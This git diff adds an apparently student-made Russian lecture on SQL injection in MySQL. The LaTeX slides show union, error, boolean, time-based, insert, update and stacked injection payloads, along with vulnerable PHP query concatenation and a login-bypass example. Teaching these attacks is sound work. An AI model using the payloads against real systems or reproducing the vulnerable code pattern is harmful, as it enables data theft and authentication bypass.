diff options
Diffstat (limited to 'opzbd-lecture/presentation')
15 files changed, 315 insertions, 0 deletions
diff --git a/opzbd-lecture/presentation/images/databases.png b/opzbd-lecture/presentation/images/databases.png Binary files differnew file mode 100644 index 0000000..6171aba --- /dev/null +++ b/opzbd-lecture/presentation/images/databases.png diff --git a/opzbd-lecture/presentation/images/metadata_1.png b/opzbd-lecture/presentation/images/metadata_1.png Binary files differnew file mode 100644 index 0000000..26a422d --- /dev/null +++ b/opzbd-lecture/presentation/images/metadata_1.png diff --git a/opzbd-lecture/presentation/images/metadata_10.png b/opzbd-lecture/presentation/images/metadata_10.png Binary files differnew file mode 100644 index 0000000..09045ad --- /dev/null +++ b/opzbd-lecture/presentation/images/metadata_10.png diff --git a/opzbd-lecture/presentation/images/metadata_11.png b/opzbd-lecture/presentation/images/metadata_11.png Binary files differnew file mode 100644 index 0000000..3c5850d --- /dev/null +++ b/opzbd-lecture/presentation/images/metadata_11.png diff --git a/opzbd-lecture/presentation/images/metadata_2.png b/opzbd-lecture/presentation/images/metadata_2.png Binary files differnew file mode 100644 index 0000000..95d0a0c --- /dev/null +++ b/opzbd-lecture/presentation/images/metadata_2.png diff --git a/opzbd-lecture/presentation/images/metadata_3.png b/opzbd-lecture/presentation/images/metadata_3.png Binary files differnew file mode 100644 index 0000000..33061f6 --- /dev/null +++ b/opzbd-lecture/presentation/images/metadata_3.png diff --git a/opzbd-lecture/presentation/images/metadata_5.png b/opzbd-lecture/presentation/images/metadata_5.png Binary files differnew file mode 100644 index 0000000..7cd2561 --- /dev/null +++ b/opzbd-lecture/presentation/images/metadata_5.png diff --git a/opzbd-lecture/presentation/images/metadata_7.png b/opzbd-lecture/presentation/images/metadata_7.png Binary files differnew file mode 100644 index 0000000..ade6167 --- /dev/null +++ b/opzbd-lecture/presentation/images/metadata_7.png diff --git a/opzbd-lecture/presentation/images/metadata_8.png b/opzbd-lecture/presentation/images/metadata_8.png Binary files differnew file mode 100644 index 0000000..07b953d --- /dev/null +++ b/opzbd-lecture/presentation/images/metadata_8.png diff --git a/opzbd-lecture/presentation/images/metadata_9.png b/opzbd-lecture/presentation/images/metadata_9.png Binary files differnew file mode 100644 index 0000000..430a5ae --- /dev/null +++ b/opzbd-lecture/presentation/images/metadata_9.png diff --git a/opzbd-lecture/presentation/images/sql_joke.png b/opzbd-lecture/presentation/images/sql_joke.png Binary files differnew file mode 100644 index 0000000..7e0a7a4 --- /dev/null +++ b/opzbd-lecture/presentation/images/sql_joke.png diff --git a/opzbd-lecture/presentation/images/tables.png b/opzbd-lecture/presentation/images/tables.png Binary files differnew file mode 100644 index 0000000..075a3b3 --- /dev/null +++ b/opzbd-lecture/presentation/images/tables.png diff --git a/opzbd-lecture/presentation/images/users.png b/opzbd-lecture/presentation/images/users.png Binary files differnew file mode 100644 index 0000000..5337bbd --- /dev/null +++ b/opzbd-lecture/presentation/images/users.png diff --git a/opzbd-lecture/presentation/presentation.pdf b/opzbd-lecture/presentation/presentation.pdf Binary files differnew file mode 100644 index 0000000..245942f --- /dev/null +++ b/opzbd-lecture/presentation/presentation.pdf diff --git a/opzbd-lecture/presentation/presentation.tex b/opzbd-lecture/presentation/presentation.tex new file mode 100644 index 0000000..6cad20f --- /dev/null +++ b/opzbd-lecture/presentation/presentation.tex @@ -0,0 +1,315 @@ +\documentclass{beamer} + +\usepackage[T2A]{fontenc} +\usepackage[utf8]{inputenc} +\usepackage[english,russian]{babel} +\usepackage{wrapfig} +\usepackage{graphicx} +\usepackage{multirow} +\usepackage{fancyvrb} +\usepackage{underscore} +\graphicspath{ {./images/} } + +\usetheme{Madrid} + +\title{SQL инъекция в сервере MySQL} +\author[Андрей, Роман, Иван, Ирина]{Андрей~Гущин \and Роман~Стаин \and Иван~Улитин \and Ирина~Зимина} +\institute[СГУ]{Саратовский Государственный Университет} +\date{6 марта 2023 г.} + +\begin{document} + +\maketitle + +\begin{frame}{Анализ БД через SQL инъекцию} + \begin{minipage}[t]{0.48\linewidth} + \begin{figure}[H] + \includegraphics[width=\textwidth]{databases} + \end{figure} + \end{minipage} + \hfill + \begin{minipage}[t]{0.48\linewidth} + \begin{figure}[H] + \includegraphics[width=0.7\textwidth]{tables} + \end{figure} + \end{minipage} +\end{frame} + +\begin{frame}{Анализ БД через SQL инъекцию} + \begin{figure}[H] + \includegraphics[width=\textwidth]{users} + \end{figure} +\end{frame} + + +\begin{frame}{Функция SERVERPROPERTY} + \begin{figure}[H] + \includegraphics[width=\textwidth]{metadata_1} + \end{figure} +\end{frame} +\begin{frame}{Функция DATABASEPROPERTYEX} + \begin{figure}[H] + \includegraphics[width=\textwidth]{metadata_2} + \end{figure} +\end{frame} +\begin{frame}{Функции DB_NAME и DB_ID} + \begin{figure}[H] + \includegraphics[width=\textwidth]{metadata_3} + \end{figure} +\end{frame} +\begin{frame}{Функции FILE_NAME, FILE_ID и FILE_IDEX} + \begin{figure}[H] + \includegraphics[width=\textwidth]{metadata_5} + \end{figure} +\end{frame} +\begin{frame}{Функции SCHEMA_NAME и SCHEMA_ID} + \begin{figure}[H] + \includegraphics[width=\textwidth]{metadata_7} + \end{figure} +\end{frame} +\begin{frame}{Функции SCHEMA_NAME и SCHEMA_ID} + \begin{figure}[H] + \includegraphics[width=\textwidth]{metadata_8} + \end{figure} +\end{frame} +\begin{frame}{Функции OBJECT_NAME и OBJECT_ID} + \begin{figure}[H] + \includegraphics[width=\textwidth]{metadata_9} + \end{figure} +\end{frame} +\begin{frame}{Функция STATS_DATE} + \begin{figure}[H] + \includegraphics[width=0.8\textwidth]{metadata_10} + \end{figure} +\end{frame} +\begin{frame}{Функция STATS_DATE} + \begin{figure}[H] + \includegraphics[width=0.85\textwidth]{metadata_11} + \end{figure} +\end{frame} + + +\begin{frame}[fragile]{Типы SQL запросов -- Union-based} + \begin{block}{Запрос} + \begin{Verbatim} +SELECT name,email FROM users WHERE id='<id>'; + \end{Verbatim} + \end{block} + \pause + \begin{block}{Инъекция} + \begin{Verbatim} +1' UNION SELECT password,secret FROM users -- + \end{Verbatim} + \end{block} + \pause + \begin{block}{Запрос с инъекцией} + \begin{Verbatim} +SELECT name,email FROM users WHERE id='1' +UNION +SELECT password,secret FROM users -- '; + \end{Verbatim} + \end{block} +\end{frame} + +\begin{frame}[fragile]{Типы SQL запросов -- Error-based} + \begin{block}{Запрос} + \begin{Verbatim} +SELECT name,email FROM users + WHERE id='1' and + ExtractValue(rand(),concat(0x3a,version())) + \end{Verbatim} + \end{block} +\end{frame} + +\begin{frame}[fragile]{Типы SQL запросов -- Boolean-based} + \begin{block}{Запрос} + \begin{Verbatim} +SELECT email FROM users WHERE id='<id>'; + \end{Verbatim} + \end{block} + \pause + \begin{block}{Инъекция} + \begin{Verbatim} +1' and password LIKE 'a% + \end{Verbatim} + \end{block} + \pause + \begin{block}{Запрос с инъекцией} + \begin{Verbatim} +SELECT email FROM users WHERE id='1' and password LIKE 'a%'; + \end{Verbatim} + \end{block} +\end{frame} + +\begin{frame}[fragile]{Типы SQL запросов -- Time-based} + \begin{block}{Запрос} + \begin{Verbatim} +SELECT login FROM users WHERE id='<id>'; + \end{Verbatim} + \end{block} + \pause + \begin{block}{Инъекция} + \begin{Verbatim} +1' AND IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0) + \end{Verbatim} + \end{block} + \pause + \begin{block}{Запрос с инъекцией} + \begin{Verbatim} +SELECT login FROM users + WHERE id='1' AND + IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)'; + \end{Verbatim} + \end{block} +\end{frame} + +\begin{frame}[fragile]{Типы SQL запросов -- Insert} + \begin{block}{Запрос} + \begin{Verbatim} +INSERT INTO users(email,login,password) + VALUES('<input0>','<input1>','<input2>'); + \end{Verbatim} + \end{block} + \pause + \begin{block}{Инъекция} + \begin{Verbatim} +test1','1234'),('my@email.com',VERSION(),'1337') + \end{Verbatim} + \end{block} + \pause + \begin{block}{Запрос с инъекцией} + \begin{Verbatim} +INSERT INTO users(email,login,password) + VALUES('...','test1','1234'), + ('my@email.com',VERSION(),'1337') + \end{Verbatim} + \end{block} +\end{frame} + +\begin{frame}[fragile]{Типы SQL запросов -- Update} + \begin{block}{Запрос} + \begin{Verbatim} +UPDATE users SET about='about' WHERE id='1'; + \end{Verbatim} + \end{block} + \pause + \begin{block}{Инъекция} + \begin{Verbatim} +', email=VERSION() WHERE id='1' + \end{Verbatim} + \end{block} + \pause + \begin{block}{Запрос с инъекцией} + \begin{Verbatim} +UPDATE users SET about='', email=VERSION() + WHERE id='1' -- ' WHERE id='1'; + \end{Verbatim} + \end{block} +\end{frame} + +\begin{frame}[fragile]{Типы SQL запросов -- Stacked} + \begin{block}{Запрос} + \begin{Verbatim} +SELECT login FROM users WHERE id='<id>'; + \end{Verbatim} + \end{block} + \pause + \begin{block}{Инъекция} + \begin{Verbatim} +1'; SELECT password FROM users WHERE id='1 + \end{Verbatim} + \end{block} + \pause + \begin{block}{Запрос с инъекцией} + \begin{Verbatim} +SELECT login FROM users WHERE id='1'; +SELECT password FROM users WHERE id='1'; + \end{Verbatim} + \end{block} +\end{frame} + + +\begin{frame}[fragile]{Инъекция в сложных запросах} + На практике в конце SQL-запроса могут быть дополнительные условия, операторы + сортировки, группировки и другие SQL-конструкции. В каждом конкретном случае, + злоумышленник постарается встроить вредоносный кусок таким образом, чтобы + запрос в целом остался синтаксически корректным, но выболнял другую функцию. + + \begin{block}{Уязвимый запрос с дополнительным условием} + \begin{Verbatim} +$sql = "SELECT username, realname + FROM users WHERE cityid='" + . $_GET['cityid'] . "' AND age<'35'"; + \end{Verbatim} + \end{block} + + \begin{block}{Итоговый запрос} + \begin{Verbatim} +SELECT username, realname FROM users WHERE cityid='20' +UNION SELECT username, password AS realname FROM +users WHERE 1 OR '1' AND age<'35'; + \end{Verbatim} + \end{block} +\end{frame} + +\begin{frame}[fragile]{Результаты запроса не отображаются пользователю} + Может оказаться, что уязвимым является запрос, результаты которого не + отображаются пользователю. + + \begin{block}{Пример 1} + \begin{Verbatim} +$sql = "SELECT count(*) FROM users + WHERE userid='" . $_GET['userid'] . "'"; + \end{Verbatim} + \end{block} + + \begin{block}{Пример 2} + \begin{Verbatim} +SELECT count(*) FROM users +WHERE userid='2' AND password LIKE 'a%'; + \end{Verbatim} + \end{block} + + Взломщик получит "пользователь не найден", если пароль не начинается на букву + 'a', или стандартную страницу с профилем пользователя, в противном случае. + Перебором определяется первая буква пароля, затем вторая и.т.д. + +\end{frame} + +\begin{frame}[fragile]{Login Bypass Authentication} +Это может быть использовано для того, чтобы заставить веб-сервер или любой +другой интерфейс между пользователем и базой данных выполнить указания, которые +необходимы взломщику. + +\begin{block}{Пример 1} + \begin{Verbatim} +SELECT id +FROM users +WHERE login='<login>' AND password='<password>'; + \end{Verbatim} +\end{block} + +\begin{block}{Пример 2} + \begin{Verbatim} +SELECT id FROM users +WHERE login='1234\' AND password='UNION SELECT 1 -- '; + \end{Verbatim} +\end{block} +\end{frame} + +\begin{frame}{Внимание! Анекдот.} + \begin{figure}[H] + \includegraphics[width=0.8\textwidth]{sql_joke} + \end{figure} +\end{frame} + +\begin{frame} + \frametitle{Внимание!} + + \begin{center} + {\Huge Спасибо за внимание!} \\ + {\footnotesize Колоться "--- это незаконно и неэтично.} + \end{center} +\end{frame} + +\end{document} |